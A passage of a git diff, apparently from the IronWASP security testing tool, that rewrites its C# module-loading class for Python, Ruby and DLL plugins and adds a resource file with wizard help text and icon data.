Names.Add(Mod.Name); - } - return Names; - } - - public static Module Get(string Name) - { - foreach (Module Mod in Collection) - { - if (Mod.Name.Equals(Name)) - { - Module NewInstance = Mod.GetInstance(); - CopyModuleProperties(Mod, NewInstance); - return NewInstance; - } - } - return null; - } - - public static Module LoadAndGet(string Name) - { - Module M = Get(Name); - if (M != null) - { - return M; - } - else - { - M = GetModuleReadFromXml(Name); - if (M != null) - { - return AskUserAndLoadModule(M); - } - } - return null; - } - - public static string GetVersion(string Name) - { - foreach (Module Mod in ModuleListFromXml) - { - if (Mod.Name.Equals(Name)) - { - return Mod.Version; - } - } - return null; - } - - internal static Module GetModuleReadFromXml(string Name) - { - foreach (Module Mod in ModuleListFromXml) - { - if (Mod.Name.Equals(Name)) - { - return Mod; - } - } - return null; - } - - internal static void ReloadModule(object NameObj) - { - ReloadModule(NameObj.ToString()); - } - - internal static void ReloadModule(string Name) - { - Remove(Name); - LoadModule(Module.GetModuleReadFromXml(Name)); - } - - static void Remove(string Name) - { - int RemoveAt = -1; - lock (Collection) - { - for (int i = 0; i < Collection.Count; i++) - { - if (Collection[i].Name.Equals(Name)) - { - RemoveAt = i; - break; - } - } - if (RemoveAt > -1) - Collection.RemoveAt(RemoveAt); - } - } - - static void CopyModuleProperties(Module From, Module To) - { - To.Category = From.Category; - To.FileName = From.FileName; - To.Version = From.Version; - To.DisplayName = From.DisplayName; - To.Author = From.Author; - To.ProjectHome = From.ProjectHome; - To.WorksOnSession = From.WorksOnSession; - To.WorksOnUrl = From.WorksOnUrl; - To.WorksOnFinding = From.WorksOnFinding; - To.Description = From.Description; - } - - internal static void ReadModulesXml() - { - List ReadModules = new List(); - XmlDocument XmlDoc = new XmlDocument(); - XmlDoc.Load(string.Format("{0}\\ModulesDB.exe", Config.RootDir)); - XmlNodeList ModuleCategoryNodes = null; - if (XmlDoc.ChildNodes.Count > 1) - { - ModuleCategoryNodes = XmlDoc.ChildNodes[1].ChildNodes; - } - else if (XmlDoc.ChildNodes.Count == 1) - { - ModuleCategoryNodes = XmlDoc.FirstChild.ChildNodes; - } - else - { - return; - } - foreach (XmlNode CategoryNode in ModuleCategoryNodes) - { - if (CategoryNode.FirstChild.Name.Equals("name")) - { - string CategoryName = CategoryNode.FirstChild.InnerText; - foreach (XmlNode ModuleNode in CategoryNode.ChildNodes) - { - if (ModuleNode.Name.Equals("name")) continue; - - Module M = ReadModuleXml(ModuleNode, CategoryName); - if (M != null) - { - try - { - bool IsDuplicate = false; - foreach (Module MM in ReadModules) - { - if (MM.Name.Equals(M.Name)) IsDuplicate = true; - } - if (IsDuplicate) continue; - ReadModules.Add(M); - } - catch { } - } - } - } - } - string ModulesDir = string.Format("{0}\\modules\\", Config.RootDir); - - try - { - string[] ModulesDirs = Directory.GetDirectories(ModulesDir); - foreach (string ModuleDir in ModulesDirs) - { - string ModulesXmlFile = string.Format("{0}\\Module.xml", ModuleDir); - if (File.Exists(ModulesXmlFile)) - { - try - { - XmlDocument ModXmlDoc = new XmlDocument(); - ModXmlDoc.Load(ModulesXmlFile); - Module M = ReadModuleXml(ModXmlDoc.FirstChild, "My Downloads"); - if (M != null) - { - try - { - bool IsDuplicate = false; - foreach (Module MM in ReadModules) - { - if (MM.Name.Equals(M.Name)) IsDuplicate = true; - } - if (IsDuplicate) continue; - ReadModules.Add(M); - } - catch { } - } - } - catch { } - } - } - } - catch { } - - lock (ModuleListFromXml) - { - ModuleListFromXml = new List(ReadModules); - } - } - - static Module ReadModuleXml(XmlNode ModuleNode, string CategoryName) - { - Module M = new Module(); - M.Category = CategoryName; - foreach (XmlNode ModulePropertyNode in ModuleNode.ChildNodes) - { - switch (ModulePropertyNode.Name) - { - case ("name"): - M.Name = ModulePropertyNode.InnerText; - break; - case ("version"): - M.Version = ModulePropertyNode.InnerText; - break; - case ("display_name"): - M.DisplayName = ModulePropertyNode.InnerText; - break; - case ("author"): - M.Author = ModulePropertyNode.InnerText; - break; - case ("project_home"): - M.ProjectHome = ModulePropertyNode.InnerText; - break; - case ("works_on_session"): - M.WorksOnSession = ModulePropertyNode.InnerText.Equals("yes"); - break; - case ("works_on_url"): - M.WorksOnUrl = ModulePropertyNode.InnerText.Equals("yes"); - break; - case ("works_on_finding"): - M.WorksOnFinding = ModulePropertyNode.InnerText.Equals("yes"); - break; - case ("description"): - M.Description = ModulePropertyNode.InnerText; - break; - } - } - try - { - string ModuleDir = string.Format("{0}\\modules\\{1}\\", Config.RootDir, M.Name); - string[] Files = Directory.GetFiles(ModuleDir); - for (int i = 0; i < Files.Length; i++) - { - Files[i] = Path.GetFileName(Files[i]); - } - string PyName = string.Format("{0}.py", M.Name); - string RbName = string.Format("{0}.rb", M.Name); - string DllName = string.Format("{0}.dll", M.Name); - string ModuleFileName = ""; - foreach (string FileName in Files) - { - if (PyName.Equals(FileName) || RbName.Equals(FileName) || DllName.Equals(FileName)) - { - ModuleFileName = FileName; - break; - } - } - if (ModuleFileName.Length > 0) - { - M.FileName = ModuleFileName; - return M; - } - } - catch { } - return null; - } - - internal static void StartModule(string ModuleDisplayName) - { - IronThread.RunSTAThread(StartModule, new List { ModuleDisplayName}); - } - static void StartModule(object ModuleDisplayNameObj) - { - List Args = (List)ModuleDisplayNameObj; - string ModuleDisplayName = Args[0].ToString(); - Module M = GetModuleFromDisplayName(ModuleDisplayName, ALL); - if (M != null) - { - M.ThreadId = IronThread.ThreadId; - M.StartModule(); - } - } - internal static void StartModuleOnSession(string ModuleDisplayName, string Source, int LogId) - { - IronThread.RunSTAThread(StartModuleOnSession, new List { ModuleDisplayName, Source, LogId }); - } - static void StartModuleOnSession(object ModuleDisplayNameSourceLogId) - { - List Args = (List)ModuleDisplayNameSourceLogId; - string ModuleDisplayName = Args[0].ToString(); - string Source = Args[1].ToString(); - int LogId = (int)Args[2]; - Session Sess = IronLog.GetLog(Source, LogId); - //switch (Source) - //{ - // case(RequestSource.Proxy): - // Sess = Session.FromProxyLog(LogId); - // break; - // case (RequestSource.Probe): - // Sess = Session.FromProbeLog(LogId); - // break; - // case (RequestSource.Scan): - // Sess = Session.FromScanLog(LogId); - // break; - // case (RequestSource.Shell): - // Sess = Session.FromShellLog(LogId); - // break; - // case (RequestSource.Test): - // case (RequestSource.TestGroup): - // Sess = Session.FromTestLog(LogId); - // break; - // default: - // Sess = Session.FromLog(LogId, Source); - // break; - //} - if (Sess != null) - { - Module M = GetModuleFromDisplayName(ModuleDisplayName, SESSION); - if (M != null) - { - M.ThreadId = IronThread.ThreadId; - M.StartModuleOnSession(Sess); - } - } - } - internal static void StartModuleOnFinding(string ModuleDisplayName, int FindingId) - { - IronThread.RunSTAThread(StartModuleOnFinding, new List { ModuleDisplayName, FindingId }); - } - static void StartModuleOnFinding(object ModuleDisplayNameFindingId) - { - List Args = (List)ModuleDisplayNameFindingId; - string ModuleDisplayName = Args[0].ToString(); - int FindingId = (int)Args[1]; - if (FindingId == -1) return; - Finding PR = IronDB.GetPluginResultFromDB(FindingId); - Module M = GetModuleFromDisplayName(ModuleDisplayName, FINDING); - if (M != null) - { - M.ThreadId = IronThread.ThreadId; - M.StartModuleOnFinding(PR); - } - } - internal static void StartModuleOnUrl(string ModuleDisplayName, string Url) - { - IronThread.RunSTAThread(StartModuleOnUrl, new List { ModuleDisplayName, Url }); - } - static void StartModuleOnUrl(object ModuleDisplayNameUrl) - { - List Args = (List)ModuleDisplayNameUrl; - string ModuleDisplayName = Args[0].ToString(); - string Url = Args[1].ToString(); - try - { - new Request(Url); - } - catch { return; } - Module M = GetModuleFromDisplayName(ModuleDisplayName, URL); - if (M != null) - { - M.ThreadId = IronThread.ThreadId; - M.StartModuleOnUrl(Url); - } - } - - internal static bool DoesDisplayNameExist(string DisplayName) - { - foreach (Module Mod in ModuleListFromXml) - { - if (Mod.DisplayName.Equals(DisplayName)) - { - return true; - } - } - return false; - } - - static Module GetModuleFromDisplayName(string ModuleDisplayName, string WorksOn) - { - Module M = null; - foreach (Module Mod in ModuleListFromXml) - { - if (Mod.DisplayName.Equals(ModuleDisplayName)) - { - switch(WorksOn) - { - case(ALL): - M = Mod; - break; - case (URL): - if (Mod.WorksOnUrl) M = Mod; - break; - case (SESSION): - if (Mod.WorksOnSession) M = Mod; - break; - case (FINDING): - if (Mod.WorksOnFinding) M = Mod; - break; - } - } - } - if (M == null) return null; - foreach (Module Mod in Collection) - { - if (Mod.Name.Equals(M.Name)) - { - return Mod; - } - } - Module NewlyLoaded = AskUserAndLoadModule(M); - return NewlyLoaded; - } - - static Module AskUserAndLoadModule(Module M) - { - ModuleStartPromptForm F = null; - foreach (ModuleStartPromptForm PF in PromptWindows) - { - if (M.Name.Equals(PF.DisplayedModule.Name)) - F = PF; - } - if (F == null) - { - F = new ModuleStartPromptForm(); - lock (PromptWindows) - { - PromptWindows.Add(F); - } - F.SetModule(M); - F.ShowDialog(); - } - else - { - F.Activate(); - return null; - } - if (F.ModuleAuthroized) - { - return Module.Get(M.Name); - } - else - { - return null; - } - } - internal static void LoadModule(object ModObj) - { - LoadModule((ModObj as Module)); - } - - internal static Module LoadModule(Module M) - { - try - { - string FullName = string.Format("{0}\\modules\\{1}\\{2}", Config.RootDir, M.Name, M.FileName); - if (M.FileName.EndsWith(".dll")) - { - Assembly MA = System.Reflection.Assembly.LoadFile(FullName); - Module NewModule = (Module) Activator.CreateInstance(MA.GetTypes()[0]); - Module.Add(NewModule.GetInstance()); - } - else - { - Engine = PluginEngine.GetScriptEngine(); - - if (M.FileName.EndsWith(".py")) - Engine.Runtime.TryGetEngine("py", out Engine); - else - Engine.Runtime.TryGetEngine("rb", out Engine); - List ModulePaths = new List(); - foreach (Module ModuleFromXml in ModuleListFromXml) - { - ModulePaths.Add(string.Format("{0}\\modules\\{1}\\", Config.RootDir, ModuleFromXml.Name)); - } - Engine.SetSearchPaths(ModulePaths); - if (M.FileName.Length == 0) - throw new Exception("Module is missing script files"); - ScriptSource ModuleSource = Engine.CreateScriptSourceFromFile(FullName); - ScriptErrorReporter CompileErrors = new ScriptErrorReporter(); - string ErrorMessage = ""; - CompiledCode CompiledModule = ModuleSource.Compile(CompileErrors); - ErrorMessage = CompileErrors.GetErrors(); - if (M.FileName.EndsWith(".py")) - { - string IndentError = PluginEditor.CheckPythonIndentation(ModuleSource.GetCode())[1]; - if (IndentError.Length > 0) - { - ErrorMessage = string.Format("{0}\r\n{1}", IndentError, ErrorMessage); - } - } - if (ErrorMessage.Length == 0) - { - ModuleSource.ExecuteProgram(); - } - else - { - throw new Exception(string.Format("Syntax error in module file:{0}\r\n{1}", M.FileName, ErrorMessage)); - } - } - } - catch(Exception Exp) - { - ModuleStartPromptForm PF = GetPromptWindow(M); - if (PF != null) PF.ShowError("Error Loading Module."); - IronException.Report(string.Format("Error Loading Module - {0}", M.Name), Exp); - return null; - } - IronUI.BuildPluginTree(); - ModuleStartPromptForm UsedPF = RemovePromptWindowFromList(M); - if (UsedPF != null) - { - try - { - if (!UsedPF.IsClosed) - UsedPF.CloseForm(); - } - catch { } - } - return Get(M.Name); - } - static ModuleStartPromptForm GetPromptWindow(Module M) - { - for (int i = 0; i < PromptWindows.Count; i++) - { - if (M.Name.Equals(PromptWindows[i].DisplayedModule.Name)) - { - return PromptWindows[i]; - } - } - return null; - } - internal static ModuleStartPromptForm RemovePromptWindowFromList(Module M) - { - ModuleStartPromptForm PF = null; - lock (PromptWindows) - { - int RemoveAt = -1; - for (int i = 0; i < PromptWindows.Count; i++) - { - if (M.Name.Equals(PromptWindows[i].DisplayedModule.Name)) - { - RemoveAt = i; - PF = PromptWindows[i]; - break; - } - } - if (RemoveAt > -1) - { - PromptWindows.RemoveAt(RemoveAt); - } - } - return PF; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; +using System.IO; +using System.Xml; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; +using System.Reflection; +using System.Windows.Forms; + +namespace IronWASP +{ + public class Module + { + public string Name = ""; + //Read from Module XML + internal string Version = "0.0"; + internal string DisplayName = ""; + internal string Category = ""; + internal string Author = ""; + internal string Description = ""; + internal string ProjectHome = ""; + internal string FileName = ""; + internal bool WorksOnSession = false; + internal bool WorksOnFinding = false; + internal bool WorksOnUrl = false; + internal int ThreadId = 0; + + public const string FINDING = "Finding"; + public const string URL = "Url"; + public const string SESSION = "Session"; + public const string ALL = "All"; + + public int MainThreadId + { + get + { + return this.ThreadId; + } + } + + internal static List Collection = new List(); + + internal static List ModuleListFromXml = new List(); + + static List PromptWindows = new List(); + static ScriptEngine Engine = null; + + internal static Queue RecentOnSessionModules = new Queue(); + + public virtual void StartModule() + { + List Messages = new List(); + StringBuilder Msg = new StringBuilder("To run this module - "); + + foreach (Module M in ModuleListFromXml) + { + if (M.Name.Equals(this.Name)) + { + if (M.WorksOnSession) + { + Messages.Add("You must right-click on a log from the 'Logs' section and run this module on the selected log."); + } + if (M.WorksOnUrl) + { + Messages.Add("You must right-click on any section of the sitemap and run this module on selected url"); + } + if (M.WorksOnFinding) + { + Messages.Add("You must right-click on any finding and run this module on selected finding"); + } + + break; + } + } + + Msg.AppendLine(); + for (int i = 0; i < Messages.Count; i++) + { + Msg.AppendLine(Messages[i]); + if (i < Messages.Count - 1) + { + Msg.AppendLine("or"); + } + } + + MessageBox.Show(Msg.ToString()); + } + + public virtual void StartModuleOnSession(Session Sess) + { + + } + + public virtual void StartModuleOnUrl(string Url) + { + + } + + public virtual void StartModuleOnFinding(Finding Result) + { + + } + + public void StopModule() + { + try + { + IronThread.Stop(this.ThreadId); + } + catch { } + } + + public virtual Module GetInstance() + { + return new Module(); + } + + public static void Add(Module Mod) + { + if ((Mod.Name.Length > 0) && !(Mod.Name.Equals("All") || Mod.Name.Equals("None"))) + { + if (!List().Contains(Mod.Name)) + { + foreach (Module M in ModuleListFromXml) + { + if (M.Name.Equals(Mod.Name)) + { + CopyModuleProperties(M, Mod); + break; + } + } + lock (Collection) + { + Collection.Add(Mod); + } + } + } + } + + public static List List() + { + List Names = new List(); + foreach (Module Mod in Collection) + { + Names.Add(Mod.Name); + } + return Names; + } + + public static List ListAll() + { + List Names = new List(); + foreach (Module Mod in ModuleListFromXml) + { + Names.Add(Mod.Name); + } + return Names; + } + + public static Module Get(string Name) + { + foreach (Module Mod in Collection) + { + if (Mod.Name.Equals(Name)) + { + Module NewInstance = Mod.GetInstance(); + CopyModuleProperties(Mod, NewInstance); + return NewInstance; + } + } + return null; + } + + public static Module LoadAndGet(string Name) + { + Module M = Get(Name); + if (M != null) + { + return M; + } + else + { + M = GetModuleReadFromXml(Name); + if (M != null) + { + return AskUserAndLoadModule(M); + } + } + return null; + } + + public static string GetVersion(string Name) + { + foreach (Module Mod in ModuleListFromXml) + { + if (Mod.Name.Equals(Name)) + { + return Mod.Version; + } + } + return null; + } + + internal static Module GetModuleReadFromXml(string Name) + { + foreach (Module Mod in ModuleListFromXml) + { + if (Mod.Name.Equals(Name)) + { + return Mod; + } + } + return null; + } + + internal static void ReloadModule(object NameObj) + { + ReloadModule(NameObj.ToString()); + } + + internal static void ReloadModule(string Name) + { + Remove(Name); + LoadModule(Module.GetModuleReadFromXml(Name)); + } + + static void Remove(string Name) + { + int RemoveAt = -1; + lock (Collection) + { + for (int i = 0; i < Collection.Count; i++) + { + if (Collection[i].Name.Equals(Name)) + { + RemoveAt = i; + break; + } + } + if (RemoveAt > -1) + Collection.RemoveAt(RemoveAt); + } + } + + static void CopyModuleProperties(Module From, Module To) + { + To.Category = From.Category; + To.FileName = From.FileName; + To.Version = From.Version; + To.DisplayName = From.DisplayName; + To.Author = From.Author; + To.ProjectHome = From.ProjectHome; + To.WorksOnSession = From.WorksOnSession; + To.WorksOnUrl = From.WorksOnUrl; + To.WorksOnFinding = From.WorksOnFinding; + To.Description = From.Description; + } + + internal static void ReadModulesXml() + { + List ReadModules = new List(); + XmlDocument XmlDoc = new XmlDocument(); + XmlDoc.Load(string.Format("{0}\\ModulesDB.exe", Config.RootDir)); + XmlNodeList ModuleCategoryNodes = null; + if (XmlDoc.ChildNodes.Count > 1) + { + ModuleCategoryNodes = XmlDoc.ChildNodes[1].ChildNodes; + } + else if (XmlDoc.ChildNodes.Count == 1) + { + ModuleCategoryNodes = XmlDoc.FirstChild.ChildNodes; + } + else + { + return; + } + foreach (XmlNode CategoryNode in ModuleCategoryNodes) + { + if (CategoryNode.FirstChild.Name.Equals("name")) + { + string CategoryName = CategoryNode.FirstChild.InnerText; + foreach (XmlNode ModuleNode in CategoryNode.ChildNodes) + { + if (ModuleNode.Name.Equals("name")) continue; + + Module M = ReadModuleXml(ModuleNode, CategoryName); + if (M != null) + { + try + { + bool IsDuplicate = false; + foreach (Module MM in ReadModules) + { + if (MM.Name.Equals(M.Name)) IsDuplicate = true; + } + if (IsDuplicate) continue; + ReadModules.Add(M); + } + catch { } + } + } + } + } + string ModulesDir = string.Format("{0}\\modules\\", Config.RootDir); + + try + { + string[] ModulesDirs = Directory.GetDirectories(ModulesDir); + foreach (string ModuleDir in ModulesDirs) + { + string ModulesXmlFile = string.Format("{0}\\Module.xml", ModuleDir); + if (File.Exists(ModulesXmlFile)) + { + try + { + XmlDocument ModXmlDoc = new XmlDocument(); + ModXmlDoc.Load(ModulesXmlFile); + Module M = ReadModuleXml(ModXmlDoc.FirstChild, "My Downloads"); + if (M != null) + { + try + { + bool IsDuplicate = false; + foreach (Module MM in ReadModules) + { + if (MM.Name.Equals(M.Name)) IsDuplicate = true; + } + if (IsDuplicate) continue; + ReadModules.Add(M); + } + catch { } + } + } + catch { } + } + } + } + catch { } + + lock (ModuleListFromXml) + { + ModuleListFromXml = new List(ReadModules); + } + } + + static Module ReadModuleXml(XmlNode ModuleNode, string CategoryName) + { + Module M = new Module(); + M.Category = CategoryName; + foreach (XmlNode ModulePropertyNode in ModuleNode.ChildNodes) + { + switch (ModulePropertyNode.Name) + { + case ("name"): + M.Name = ModulePropertyNode.InnerText; + break; + case ("version"): + M.Version = ModulePropertyNode.InnerText; + break; + case ("display_name"): + M.DisplayName = ModulePropertyNode.InnerText; + break; + case ("author"): + M.Author = ModulePropertyNode.InnerText; + break; + case ("project_home"): + M.ProjectHome = ModulePropertyNode.InnerText; + break; + case ("works_on_session"): + M.WorksOnSession = ModulePropertyNode.InnerText.Equals("yes"); + break; + case ("works_on_url"): + M.WorksOnUrl = ModulePropertyNode.InnerText.Equals("yes"); + break; + case ("works_on_finding"): + M.WorksOnFinding = ModulePropertyNode.InnerText.Equals("yes"); + break; + case ("description"): + M.Description = ModulePropertyNode.InnerText; + break; + } + } + try + { + string ModuleDir = string.Format("{0}\\modules\\{1}\\", Config.RootDir, M.Name); + string[] Files = Directory.GetFiles(ModuleDir); + for (int i = 0; i < Files.Length; i++) + { + Files[i] = Path.GetFileName(Files[i]); + } + string PyName = string.Format("{0}.py", M.Name); + string RbName = string.Format("{0}.rb", M.Name); + string DllName = string.Format("{0}.dll", M.Name); + string ModuleFileName = ""; + foreach (string FileName in Files) + { + if (PyName.Equals(FileName) || RbName.Equals(FileName) || DllName.Equals(FileName)) + { + ModuleFileName = FileName; + break; + } + } + if (ModuleFileName.Length > 0) + { + M.FileName = ModuleFileName; + return M; + } + } + catch { } + return null; + } + + internal static void StartModule(string ModuleDisplayName) + { + IronThread.RunSTAThread(StartModule, new List { ModuleDisplayName}); + } + static void StartModule(object ModuleDisplayNameObj) + { + List Args = (List)ModuleDisplayNameObj; + string ModuleDisplayName = Args[0].ToString(); + Module M = GetModuleFromDisplayName(ModuleDisplayName, ALL); + if (M != null) + { + M.ThreadId = IronThread.ThreadId; + M.StartModule(); + } + } + internal static void StartModuleOnSession(string ModuleDisplayName, string Source, int LogId) + { + IronThread.RunSTAThread(StartModuleOnSession, new List { ModuleDisplayName, Source, LogId }); + } + static void StartModuleOnSession(object ModuleDisplayNameSourceLogId) + { + List Args = (List)ModuleDisplayNameSourceLogId; + string ModuleDisplayName = Args[0].ToString(); + string Source = Args[1].ToString(); + int LogId = (int)Args[2]; + Session Sess = IronLog.GetLog(Source, LogId); + //switch (Source) + //{ + // case(RequestSource.Proxy): + // Sess = Session.FromProxyLog(LogId); + // break; + // case (RequestSource.Probe): + // Sess = Session.FromProbeLog(LogId); + // break; + // case (RequestSource.Scan): + // Sess = Session.FromScanLog(LogId); + // break; + // case (RequestSource.Shell): + // Sess = Session.FromShellLog(LogId); + // break; + // case (RequestSource.Test): + // case (RequestSource.TestGroup): + // Sess = Session.FromTestLog(LogId); + // break; + // default: + // Sess = Session.FromLog(LogId, Source); + // break; + //} + if (Sess != null) + { + Module M = GetModuleFromDisplayName(ModuleDisplayName, SESSION); + if (M != null) + { + M.ThreadId = IronThread.ThreadId; + M.StartModuleOnSession(Sess); + } + } + } + internal static void StartModuleOnFinding(string ModuleDisplayName, int FindingId) + { + IronThread.RunSTAThread(StartModuleOnFinding, new List { ModuleDisplayName, FindingId }); + } + static void StartModuleOnFinding(object ModuleDisplayNameFindingId) + { + List Args = (List)ModuleDisplayNameFindingId; + string ModuleDisplayName = Args[0].ToString(); + int FindingId = (int)Args[1]; + if (FindingId == -1) return; + Finding PR = IronDB.GetPluginResultFromDB(FindingId); + Module M = GetModuleFromDisplayName(ModuleDisplayName, FINDING); + if (M != null) + { + M.ThreadId = IronThread.ThreadId; + M.StartModuleOnFinding(PR); + } + } + internal static void StartModuleOnUrl(string ModuleDisplayName, string Url) + { + IronThread.RunSTAThread(StartModuleOnUrl, new List { ModuleDisplayName, Url }); + } + static void StartModuleOnUrl(object ModuleDisplayNameUrl) + { + List Args = (List)ModuleDisplayNameUrl; + string ModuleDisplayName = Args[0].ToString(); + string Url = Args[1].ToString(); + try + { + new Request(Url); + } + catch { return; } + Module M = GetModuleFromDisplayName(ModuleDisplayName, URL); + if (M != null) + { + M.ThreadId = IronThread.ThreadId; + M.StartModuleOnUrl(Url); + } + } + + internal static bool DoesDisplayNameExist(string DisplayName) + { + foreach (Module Mod in ModuleListFromXml) + { + if (Mod.DisplayName.Equals(DisplayName)) + { + return true; + } + } + return false; + } + + static Module GetModuleFromDisplayName(string ModuleDisplayName, string WorksOn) + { + Module M = null; + foreach (Module Mod in ModuleListFromXml) + { + if (Mod.DisplayName.Equals(ModuleDisplayName)) + { + switch(WorksOn) + { + case(ALL): + M = Mod; + break; + case (URL): + if (Mod.WorksOnUrl) M = Mod; + break; + case (SESSION): + if (Mod.WorksOnSession) M = Mod; + break; + case (FINDING): + if (Mod.WorksOnFinding) M = Mod; + break; + } + } + } + if (M == null) return null; + foreach (Module Mod in Collection) + { + if (Mod.Name.Equals(M.Name)) + { + return Mod; + } + } + Module NewlyLoaded = AskUserAndLoadModule(M); + return NewlyLoaded; + } + + static Module AskUserAndLoadModule(Module M) + { + ModuleStartPromptForm F = null; + foreach (ModuleStartPromptForm PF in PromptWindows) + { + if (M.Name.Equals(PF.DisplayedModule.Name)) + F = PF; + } + if (F == null) + { + F = new ModuleStartPromptForm(); + lock (PromptWindows) + { + PromptWindows.Add(F); + } + F.SetModule(M); + F.ShowDialog(); + } + else + { + F.Activate(); + return null; + } + if (F.ModuleAuthroized) + { + return Module.Get(M.Name); + } + else + { + return null; + } + } + internal static void LoadModule(object ModObj) + { + LoadModule((ModObj as Module)); + } + + internal static Module LoadModule(Module M) + { + try + { + string FullName = string.Format("{0}\\modules\\{1}\\{2}", Config.RootDir, M.Name, M.FileName); + if (M.FileName.EndsWith(".dll")) + { + Assembly MA = System.Reflection.Assembly.LoadFile(FullName); + Module NewModule = (Module) Activator.CreateInstance(MA.GetTypes()[0]); + Module.Add(NewModule.GetInstance()); + } + else + { + Engine = PluginEngine.GetScriptEngine(); + + if (M.FileName.EndsWith(".py")) + Engine.Runtime.TryGetEngine("py", out Engine); + else + Engine.Runtime.TryGetEngine("rb", out Engine); + List ModulePaths = new List(); + foreach (Module ModuleFromXml in ModuleListFromXml) + { + ModulePaths.Add(string.Format("{0}\\modules\\{1}\\", Config.RootDir, ModuleFromXml.Name)); + } + Engine.SetSearchPaths(ModulePaths); + if (M.FileName.Length == 0) + throw new Exception("Module is missing script files"); + ScriptSource ModuleSource = Engine.CreateScriptSourceFromFile(FullName); + ScriptErrorReporter CompileErrors = new ScriptErrorReporter(); + string ErrorMessage = ""; + CompiledCode CompiledModule = ModuleSource.Compile(CompileErrors); + ErrorMessage = CompileErrors.GetErrors(); + if (M.FileName.EndsWith(".py")) + { + string IndentError = PluginEditor.CheckPythonIndentation(ModuleSource.GetCode())[1]; + if (IndentError.Length > 0) + { + ErrorMessage = string.Format("{0}\r\n{1}", IndentError, ErrorMessage); + } + } + if (ErrorMessage.Length == 0) + { + ModuleSource.ExecuteProgram(); + } + else + { + throw new Exception(string.Format("Syntax error in module file:{0}\r\n{1}", M.FileName, ErrorMessage)); + } + } + } + catch(Exception Exp) + { + ModuleStartPromptForm PF = GetPromptWindow(M); + if (PF != null) PF.ShowError("Error Loading Module."); + IronException.Report(string.Format("Error Loading Module - {0}", M.Name), Exp); + return null; + } + IronUI.BuildPluginTree(); + ModuleStartPromptForm UsedPF = RemovePromptWindowFromList(M); + if (UsedPF != null) + { + try + { + if (!UsedPF.IsClosed) + UsedPF.CloseForm(); + } + catch { } + } + return Get(M.Name); + } + static ModuleStartPromptForm GetPromptWindow(Module M) + { + for (int i = 0; i < PromptWindows.Count; i++) + { + if (M.Name.Equals(PromptWindows[i].DisplayedModule.Name)) + { + return PromptWindows[i]; + } + } + return null; + } + internal static ModuleStartPromptForm RemovePromptWindowFromList(Module M) + { + ModuleStartPromptForm PF = null; + lock (PromptWindows) + { + int RemoveAt = -1; + for (int i = 0; i < PromptWindows.Count; i++) + { + if (M.Name.Equals(PromptWindows[i].DisplayedModule.Name)) + { + RemoveAt = i; + PF = PromptWindows[i]; + break; + } + } + if (RemoveAt > -1) + { + PromptWindows.RemoveAt(RemoveAt); + } + } + return PF; + } + } +} diff --git a/IronWASP/ModuleCreationAssistant.Designer.cs b/Iron/ModuleCreationAssistant.Designer.cs similarity index 100% rename from IronWASP/ModuleCreationAssistant.Designer.cs rename to Iron/ModuleCreationAssistant.Designer.cs diff --git a/IronWASP/ModuleCreationAssistant.cs b/Iron/ModuleCreationAssistant.cs similarity index 100% rename from IronWASP/ModuleCreationAssistant.cs rename to Iron/ModuleCreationAssistant.cs diff --git a/Iron/ModuleCreationAssistant.resx b/Iron/ModuleCreationAssistant.resx new file mode 100644 index 0000000..1d4478b --- /dev/null +++ b/Iron/ModuleCreationAssistant.resx @@ -0,0 +1,1945 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + +This assistant will help you create a template for your new Module based on the details you provide. + +Enter the name and description for this new module. The module name must be unique and only contain alphabets. + + + + +Modules can be created in Python, Ruby, C# or VB.NET. Select the language of choice from below. + +This wizard does not supports C# and VB.NET. Check ironwasp.org for details on how to create C# and VB.NET modules. + + + A Module has been created based on the information provided by you. Use this as a template and build on top of it. + +This Module can be found listed in the 'My Downloads' category. + +The sample module created is a CLI based module. You can either stick to this design or can add a GUI to it also if needed. + +To learn about how to implement your logic in code using the IronWASP API and debug or troubleshoot the module please use the 'Script Creation Assistant' which is available in the 'Coding Assistants' group under the 'Dev Tools' menu. + +This plugin would be listed under the Modules list, you can see this list by going to the 'Dev' -> 'Plugin & Modules' Section. + +If you make any changes to this Module, then after saving reload IronWASP for the changes to take effect. Or if the module is listed in the 'Loaded Modules' group then right-click on the module name in the list and select 'Reload Selected Module'. + + + + + + AAABAAYAEBAAAAEAIABoBAAAZgAAACAgAAABACAAqBAAAM4EAAAwMAAAAQAgAKglAAB2FQAAQEAAAAEA + IAAoQgAAHjsAAICAAAABACAAKAgBAEZ9AAAAAAAAAQAgALQeAABuhQEAKAAAABAAAAAgAAAAAQAgAAAA + AAAABAAAIy4AACMuAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADRl08C0ZdPAgAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPWNGX + T1gAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0ZdPFdGX + T8jRl0/H0ZdPFQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + T43Rl0/U0ZdP1NGXT40AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAANGX + 